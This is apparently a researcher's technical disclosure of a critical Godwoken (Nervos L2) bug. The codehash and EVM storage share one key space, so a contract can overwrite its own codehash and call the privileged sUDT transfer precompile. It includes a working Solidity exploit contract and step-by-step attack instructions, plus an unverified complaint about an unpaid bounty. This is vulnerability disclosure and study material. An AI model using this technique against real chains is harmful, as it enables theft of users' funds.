On Dec 21 2022 I reported a critical bug to Godwoken. Funds at risk were ~$6M USD.

Godwoken, now Nervos, scammed me out of their posted bug bounty and still owe me $440,000 USD. Immunefi banned Nervos from their platform for this reason. Below is just the technical description.


tl;dr

There was a bug in Godwoken that allowed an attacker to transfer any tokens they wanted to/from any account with no preconditions or limits. Here “token” includes CKB, the chain’s native coin, and also ERC20s like USDC, WETH, etc.

Background

Nervos is a bitcoin-style UTXO blockchain with support for smart contract-like scripts. Godwoken is an EVM-compatible L2 on this chain that operates as an optimistic rollup.

sUDTs

Nervos has the concept of a “simple User Defined Token” or sUDT. For the purposes of this report an sUDT is essentially an ERC20. And in fact many of your favorite ERC20s like USDC exist on Nervos in sUDT form.

Godwoken, like many L2 networks, allows users to lock sUDTs on the Nervos L1 in order to receive an identical amount of the sUDT on L2. The vast majority (>99%) of TVL on Godwoken is in the form of sUDTs that have been bridged from L1.

Godwoken keeps track of sUDT balances in a KV store that essentially contains all chain state. Users can interact with sUDTs through an ERC20 interface, specifically this contract

Every interaction with an sUDT happens via a precompile, which is called in the assembly block in the below snippet. There are precompiles for total supply, transferring and balanceOf. Critically, the transfer precompile takes as argument to, from, amount, and sudtID. If you can call it, you can move any sUDT to/from any account.

For example, below you can see that the _transfer function calls into the transfer_to_any_sudt precompile which is located at address 0xf1.

function _transfer(address sender, address recipient, uint256 amount) internal virtual {
    require(sender != address(0), "ERC20: transfer from the zero address");
    require(recipient != address(0), "ERC20: transfer to the zero address");

    _beforeTokenTransfer(_msgSender(), recipient, amount);

    uint256[4] memory input;
    input[0] = _sudtId;
    input[1] = uint256(uint160(address(sender)));
    input[2] = uint256(uint160(address(recipient)));
    input[3] = amount;
    uint256[1] memory output;
    /* transfer_to_any_sudt */
    assembly {
        if iszero(call(not(0), 0xf1, 0x0, input, 0x80, output, 0x20)) {
            revert(0x0, 0x0)
        }
    }

    emit Transfer(sender, recipient, amount);
}

The sUDT precompiles have a simple protection mechanism, their caller’s account code must have a codehash that matches a particular compiled version of the previously linked blessed sUDTERC20 interface.

There is one bug a careful reader may have spotted already, involving the discrepancy between deployed and contract bytecode and their relation with the codehash. This is mitigated elswhere in the codebase. For now I will continue to the actual exploitable bug.

The KV Store

The Godwoken blockchain stores all state in a simple KV store. Different state spaces have different key prefixes.

For example, when a contract account does an sstore op, it results in this code being called by the runtime:

context->gw_ctx->sys_store(context->gw_ctx, context->to_id,
                                       key->bytes, GW_KEY_BYTES, value->bytes);

Storage operations are done via the sys_store function. The relevant arguments here are:

  • context->to_id This is the prefix that will be applied to the key before storage. This parameter is used to create different key spaces in the flat KV store. In this case to_id is an internal account id uniquely assigned to our contract account.
  • key->bytes This is the actual key data. In this case it will be the 32 byte EVM storage slot.
  • value->bytes This is the value that will be set for the fully prefixed key.

The exploit

When a user calls a contract, the chain looks up the contract’s code before executing it.

First the contract account’s codehash is looked up, and from there the bytecode for that hash is found. This is an optimization that saves space when many identical copies of one contract are deployed on chain.

The hash lookup is done as so:

polyjuice_build_contract_code_key(account_id, contract_code_key_ptr);
ret = gw_ctx->sys_load(gw_ctx, account_id, contract_code_key_ptr, GW_KEY_BYTES, data_hash_ptr);

The polyjuice_build_contract_code_key function constructs a special key where our contract’s code is stored. It’s the account id prepended to the constant ff010000000000000000000000000000000000000000000000000000. The result is a 32-byte key that looks like 0xcdab0000ff010000000000000000000000000000000000000000000000000000, assuming your account id is 0x0000abcd.

This corresponding value for this key is loaded into the pointer data_hash_ptr. The runtime then does a second lookup to get the bytecode associated with the data_hash.

So a contract’s codehash is stored at:

  • key_prefix: account_id
  • key: 8-byte account_id+ff010000000000000000000000000000000000000000000000000000

And a contract’s EVM storage slots are stored at:

  • key_prefix: account_id
  • key: any user-controlled 32-byte value

We can now put together the exploit. The big issue is that the contract’s codehash is stored in the same key space as its EVM storage slots.

We can abuse this to change our codehash mid-execution and call the sUDT precompiles! Thus allowing us to transfer any sUDT we want to/from any account.

The Solidity code to perform this attack looks like this:

pragma solidity ^0.8.7;

contract Transformer {
    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 private _totalSupply;
    uint256 private _sudtId;

    string private _name;
    string private _symbol;
    uint8 private _decimals;

    constructor(address victim) {
        _sudtId = 1; // every sUDT has a different id, `1` corresponds to the native gas coin
        _allowances[victim][msg.sender] = 1 << 128;
    }

    function transform(bytes32 storage_key, bytes32 val) public {
        assembly {
            sstore(storage_key, val) //0xde4542f5a5bd32c09cd98e9752281f88900a059aab7ac103edd9df214f136c52
        }
    }
}

Putting it all together, here is what is happening above:

Note that 0xde4542f5a5bd32c09cd98e9752281f88900a059aab7ac103edd9df214f136c52 is the magic codehash that is allowed to call the sUDT precompiles.

  • Step 1: Deploy the contract, and set up some ERC20 allowances that will later be associated with our victims
  • Step 2: Get the contract’s account id (say, for example, it is 0xabcd)
  • Step 3: Calculate the storage slot where the runtime stores this account’s codehash. For this account it will be 0xcdab0000ff010000000000000000000000000000000000000000000000000000
  • Step 4: call transform(0xcdab0000ff010000000000000000000000000000000000000000000000000000,0xde4542f5a5bd32c09cd98e9752281f88900a059aab7ac103edd9df214f136c52).
  • Step 5: At this point our contract’s storage is the same as before, but the bytecode has transformed into the “allowed” precompile-caller contract. Any subsequent calls made to our contract will execute the bytecode of the previously referenced SudtERC20Proxy_UserDefinedDecimals contract instead.
  • Because we injected allowances, we can steal the victim’s tokens by calling transferFrom on our contract with their address as the owner and ours as the spender.

And finally, to refer back to the actual Godwoken code, the bug stems from the fact that these two lines of code can be made to interact with the same data:

https://github.com/godwokenrises/godwoken/blob/7440976cc219800f4f1a9dcddbf572cf49aa957a/gwos-evm/c/polyjuice.h#L410 https://github.com/godwokenrises/godwoken/blob/7440976cc219800f4f1a9dcddbf572cf49aa957a/gwos-evm/c/polyjuice.h#L282